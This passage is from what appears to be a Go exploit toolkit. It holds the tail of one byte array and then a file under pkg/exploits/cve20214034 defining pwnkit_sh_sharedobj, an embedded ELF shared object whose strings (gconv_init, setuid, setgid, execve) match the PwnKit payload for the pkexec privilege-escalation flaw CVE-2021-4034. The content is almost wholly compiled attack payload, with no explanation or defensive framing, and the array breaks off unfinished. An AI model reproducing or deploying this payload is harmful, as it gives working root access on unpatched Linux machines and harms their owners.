  0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  149, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 16, 18, 0, 0,
  16, 18, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 155, 0, 0, 0, 1, 0, 0, 0,
  2, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0, 83, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  163, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 84, 32, 0, 0,
  84, 32, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 177, 0, 0, 0, 1, 0, 0, 0,
  2, 0, 0, 0, 128, 32, 0, 0, 128, 32, 0, 0, 144, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  187, 0, 0, 0, 14, 0, 0, 0, 3, 0, 0, 0, 8, 63, 0, 0,
  8, 47, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 4, 0, 0, 0, 199, 0, 0, 0, 15, 0, 0, 0,
  3, 0, 0, 0, 12, 63, 0, 0, 12, 47, 0, 0, 4, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
  211, 0, 0, 0, 6, 0, 0, 0, 3, 0, 0, 0, 16, 63, 0, 0,
  16, 47, 0, 0, 224, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 8, 0, 0, 0, 220, 0, 0, 0, 1, 0, 0, 0,
  3, 0, 0, 0, 240, 63, 0, 0, 240, 47, 0, 0, 16, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
  225, 0, 0, 0, 1, 0, 0, 0, 3, 0, 0, 0, 0, 64, 0, 0,
  0, 48, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 4, 0, 0, 0, 234, 0, 0, 0, 1, 0, 0, 0,
  3, 0, 0, 0, 28, 64, 0, 0, 28, 48, 0, 0, 4, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  240, 0, 0, 0, 8, 0, 0, 0, 3, 0, 0, 0, 32, 64, 0, 0,
  32, 48, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 245, 0, 0, 0, 1, 0, 0, 0,
  48, 0, 0, 0, 0, 0, 0, 0, 32, 48, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0,
  1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  52, 48, 0, 0, 16, 2, 0, 0, 26, 0, 0, 0, 23, 0, 0, 0,
  4, 0, 0, 0, 16, 0, 0, 0, 9, 0, 0, 0, 3, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 68, 50, 0, 0, 243, 1, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  17, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  55, 52, 0, 0, 254, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0,
}


================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_amd64.go
================================================
//go:build amd64
package cve20214034

var pwnkit_sh_sharedobj = []byte{
  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  3, 0, 62, 0, 1, 0, 0, 0, 112, 16, 0, 0, 0, 0, 0, 0,
  64, 0, 0, 0, 0, 0, 0, 0, 232, 53, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 64, 0, 56, 0, 11, 0, 64, 0, 28, 0, 27, 0,
  1, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  8, 6, 0, 0, 0, 0, 0, 0, 8, 6, 0, 0, 0, 0, 0, 0,
  0, 16, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
  0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  0, 16, 0, 0, 0, 0, 0, 0, 197, 1, 0, 0, 0, 0, 0, 0,
  197, 1, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 4, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
  0, 32, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
  248, 0, 0, 0, 0, 0, 0, 0, 248, 0, 0, 0, 0, 0, 0, 0,
  0, 16, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
  16, 46, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
  16, 62, 0, 0, 0, 0, 0, 0, 48, 2, 0, 0, 0, 0, 0, 0,
  56, 2, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 6, 0, 0, 0, 32, 46, 0, 0, 0, 0, 0, 0,
  32, 62, 0, 0, 0, 0, 0, 0, 32, 62, 0, 0, 0, 0, 0, 0,
  192, 1, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
  168, 2, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
  168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
  48, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 4, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
  216, 2, 0, 0, 0, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
  36, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 83, 229, 116, 100, 4, 0, 0, 0,
  168, 2, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
  168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
  48, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  80, 229, 116, 100, 4, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
  84, 32, 0, 0, 0, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
  36, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 81, 229, 116, 100, 6, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  82, 229, 116, 100, 4, 0, 0, 0, 16, 46, 0, 0, 0, 0, 0, 0,
  16, 62, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
  240, 1, 0, 0, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 32, 0, 0, 0,
  5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0,
  3, 0, 0, 0, 71, 78, 85, 0, 9, 243, 197, 73, 199, 224, 246, 249,
  247, 102, 85, 23, 255, 81, 180, 106, 24, 48, 219, 15, 0, 0, 0, 0,
  2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
  0, 0, 0, 16, 4, 0, 34, 0, 9, 0, 0, 0, 10, 0, 0, 0,
  99, 12, 127, 15, 53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 116, 0, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 109, 0, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  123, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 32, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  102, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 70, 0, 0, 0, 34, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  85, 0, 0, 0, 18, 0, 12, 0, 57, 17, 0, 0, 0, 0, 0, 0,
  7, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 18, 0, 12, 0,
  64, 17, 0, 0, 0, 0, 0, 0, 118, 0, 0, 0, 0, 0, 0, 0,
  0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114, 116, 95, 95, 0,
  95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 84,
  77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 73, 84, 77,
  95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101,
  84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95, 102, 105, 110, 97,
  108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103, 99, 111, 110, 118,
  95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100, 0, 115, 101, 116,
  103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101, 120, 105, 116, 0,
  108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76, 73, 66, 67, 95,
  50, 46, 50, 46, 53, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0,
  2, 0, 0, 0, 2, 0, 2, 0, 1, 0, 1, 0, 0, 0, 0, 0,
  1, 0, 1, 0, 128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  117, 26, 105, 9, 0, 0, 2, 0, 138, 0, 0, 0, 0, 0, 0, 0,
  16, 62, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  48, 17, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 224, 16, 0, 0, 0, 0, 0, 0,
  56, 64, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  56, 64, 0, 0, 0, 0, 0, 0, 224, 63, 0, 0, 0, 0, 0, 0,
  6, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  232, 63, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 3, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0,
  6, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  248, 63, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 8, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 24, 64, 0, 0, 0, 0, 0, 0,
  7, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 64, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 4, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 40, 64, 0, 0, 0, 0, 0, 0,
  7, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  48, 64, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 7, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  243, 15, 30, 250, 72, 131, 236, 8, 72, 139, 5, 217, 47, 0, 0, 72,
  133, 192, 116, 2, 255, 208, 72, 131, 196, 8, 195, 0, 0, 0, 0, 0,
  255, 53, 226, 47, 0, 0, 255, 37, 228, 47, 0, 0, 15, 31, 64, 0,
  255, 37, 226, 47, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
  255, 37, 218, 47, 0, 0, 104, 1, 0, 0, 0, 233, 208, 255, 255, 255,
  255, 37, 210, 47, 0, 0, 104, 2, 0, 0, 0, 233, 192, 255, 255, 255,
  255, 37, 202, 47, 0, 0, 104, 3, 0, 0, 0, 233, 176, 255, 255, 255,
  72, 141, 61, 201, 47, 0, 0, 72, 141, 5, 194, 47, 0, 0, 72, 57,
  248, 116, 21, 72, 139, 5, 86, 47, 0, 0, 72, 133, 192, 116, 9, 255,
  224, 15, 31, 128, 0, 0, 0, 0, 195, 15, 31, 128, 0, 0, 0, 0,
